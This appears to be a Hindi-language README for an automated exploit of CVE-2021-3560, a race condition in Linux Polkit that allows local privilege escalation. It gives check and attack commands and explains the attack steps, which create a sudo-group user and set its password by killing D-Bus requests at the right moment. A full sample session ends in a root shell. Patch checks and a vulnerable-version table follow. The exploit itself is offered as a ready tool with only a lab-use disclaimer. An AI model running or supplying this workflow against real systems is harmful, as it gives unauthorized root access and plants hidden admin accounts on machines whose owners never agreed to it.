
CVE-2021-3560 Polkit स्थानीय विशेषाधिकार वृद्धि भेद्यता के लिए एक्सप्लॉइट
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
लिनक्स सिस्टम पर PolicyKit (Polkit) को प्रभावित करने वाली CVE-2021-3560 भेद्यता के लिए एक स्वचालित शोषण।
⚠️ चेतावनी: यह उपकरण केवल नियंत्रित प्रयोगशाला वातावरण में शैक्षिक और साइबर सुरक्षा प्रशिक्षण उद्देश्यों के लिए है। इस शोषण का उन सिस्टम पर अनधिकृत उपयोग जिनके आप मालिक नहीं हैं, अवैध है।
CVE-2021-3560 PolicyKit (polkit) में एक स्थानीय रेस कंडीशन भेद्यता है जो एक अनप्रिविलेज्ड उपयोगकर्ता को भेद्य लिनक्स सिस्टम पर रूट विशेषाधिकार प्राप्त करने की अनुमति देती है।
यह भेद्यता Polkit की दो शाखाओं को अलग-अलग संस्करण संख्या के साथ प्रभावित करती है:
bfa5036 (संस्करण 0.113)f81d021 (संस्करण 0.105-26)📝 नोट: जिन सिस्टम पर सुरक्षा पैच लागू हैं (जैसे ubuntu1.1, deb10u1) वे भेद्य नहीं हैं।
शोषण के लिए निम्नलिखित उपकरणों की आवश्यकता है (स्वचालित रूप से सत्यापित):
- dbus-send # D-Bus के साथ संवाद करने के लिए
- pkexec # PolicyKit का हिस्सा
- id # उपयोगकर्ता निर्माण सत्यापित करने के लिए
- openssl # पासवर्ड हैश उत्पन्न करने के लिए
- accountsservice # स्थापित और सक्रिय होना चाहिए
# रिपॉजिटरी क्लोन करें (या फ़ाइल डाउनलोड करें)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# स्क्रिप्ट को निष्पादन योग्य बनाएँ
chmod +x CVE-2021-3560_Polkit.py
जांचें कि सिस्टम शोषण चलाए बिना भेद्य है या नहीं:
python3 CVE-2021-3560_Polkit.py --check
उदाहरण आउटपुट:
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
एक विशेषाधिकार प्राप्त उपयोगकर्ता बनाएँ:
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
उदाहरण:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help सहायता दिखाएँ
-u, --username बनाने के लिए उपयोगकर्ता नाम
-p, --password नए उपयोगकर्ता के लिए पासवर्ड
-c, --check शोषण के बिना भेद्यता जांचें
यह शोषण D-Bus अनुरोध प्रसंस्करण के दौरान PolicyKit में एक रेस कंडीशन का शोषण करता है।
┌─────────────────────────────────────────────────────────┐
│ 1. इष्टतम समय मापन │
│ └─> समय को कैलिब्रेट करने के लिए परीक्षण निष्पादन │
├─────────────────────────────────────────────────────────┤
│ 2. शोषण: उपयोगकर्ता निर्माण │
│ └─> D-Bus CreateUser अनुरोध भेजें │
│ └─> सटीक क्षण पर प्रक्रिया को मारें (रेस कंडीशन) │
│ └─> जांचें कि उपयोगकर्ता बना या नहीं │
├─────────────────────────────────────────────────────────┤
│ 3. पासवर्ड हैश उत्पादन │
│ └─> openssl passwd -6 का उपयोग करके │
├─────────────────────────────────────────────────────────┤
│ 4. शोषण: पासवर्ड सेट करना │
│ └─> D-Bus SetPassword अनुरोध भेजें │
│ └─> सटीक क्षण पर प्रक्रिया को मारें (रेस कंडीशन) │
│ └─> पासवर्ड के साथ लॉगिन परीक्षण करें │
├─────────────────────────────────────────────────────────┤
│ 5. विशेषाधिकार वृद्धि │
│ └─> बनाए गए खाते से लॉगिन करें │
│ └─> sudo समूह का सदस्य होने पर sudo का उपयोग करें │
└─────────────────────────────────────────────────────────┘
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝
[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!
╔═══════════════════════════════════════════════════════════╗
║ EXPLOIT SUCCESSFUL! ║
╚═══════════════════════════════════════════════════════════╝
[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...
# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)
PolicyKit अपडेट करें:
# Debian/Ubuntu
sudo apt update && sudo apt upgrade policykit-1
# RHEL/CentOS/Fedora
sudo yum update polkit
# or
sudo dnf update polkit
संस्करण जांचें:
pkexec --version
# Must be >= 0.119 (upstream) or patched
सुरक्षा पैच सत्यापित करें:
# Debian/Ubuntu
apt-cache policy policykit-1
# RHEL/CentOS/Fedora
rpm -q --changelog polkit | grep CVE-2021-3560
शोषण एक रेस कंडीशन पर निर्भर करता है, जिसका अर्थ है:
निम्नलिखित संस्करणों में सुरक्षा पैच शामिल हैं और वे भेद्य नहीं हैं:
0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3, आदि (Ubuntu पैच किया गया)0.105-26ubuntu2.1, 0.105-26ubuntu2.2, आदि (Ubuntu पैच किया गया)0.105-31+deb11u1 (Debian 11 पैच किया गया)polkit-0.115-11.el8_4.1 (RHEL 8 पैच किया गया)नोट: यदि आपका सिस्टम भेद्य दिखाता है लेकिन PermissionDenied त्रुटियों के साथ शोषण विफल होता है, तो संभवतः संस्करण पैच किया गया है। शोषण अब इन पैच किए गए संस्करणों को सही ढंग से पहचान लेगा।
यदि शोषण विफल होता है:
पायथन संस्करण जांचें (यदि आपको TypeError: __init__() got an unexpected keyword argument 'capture_output' मिलता है):
python3 --version
# 3.6 या उच्चतर होना चाहिए
# स्क्रिप्ट Python 3.6+ के साथ संगत है
जांचें कि संस्करण पैच किया गया है या नहीं:
pkexec --version
# यदि आप ubuntu1.X (जहाँ X > 0) देखते हैं, तो यह पैच किया गया है
accountsservice जांचें:
systemctl status accounts-daemon
D-Bus जांचें:
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
स्थानीय कंसोल के बजाय SSH से लॉन्च करें
कोड में optimal_timing को संशोधित करके समय समायोजित करें
Seimu
यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों के लिए है। अनधिकृत गतिविधियों के लिए इस कोड का उपयोग सख्त वर्जित है और इसके परिणामस्वरूप कानूनी कार्रवाई हो सकती है।
⚠️ अस्वीकरण: लेखक इस उपकरण के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है। इसका उपयोग केवल अधिकृत परीक्षण वातावरण में ही करें।
| वितरण | Polkit संस्करण | भेद्य? |
|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ हाँ |
| Ubuntu 18.04 | 0.105-20 | ❌ नहीं |
| Debian testing "bullseye" | 0.105-31+ | ✅ हाँ |
| Debian 10 "buster" | 0.105-25 | ❌ नहीं |
| RHEL 8 | 0.115-11+ | ✅ हाँ |
| RHEL 7 | < 0.113 | ❌ नहीं |
| Fedora 21+ | 0.113+ | ✅ हाँ |
| Fedora 20 और पहले | < 0.113 | ❌ नहीं |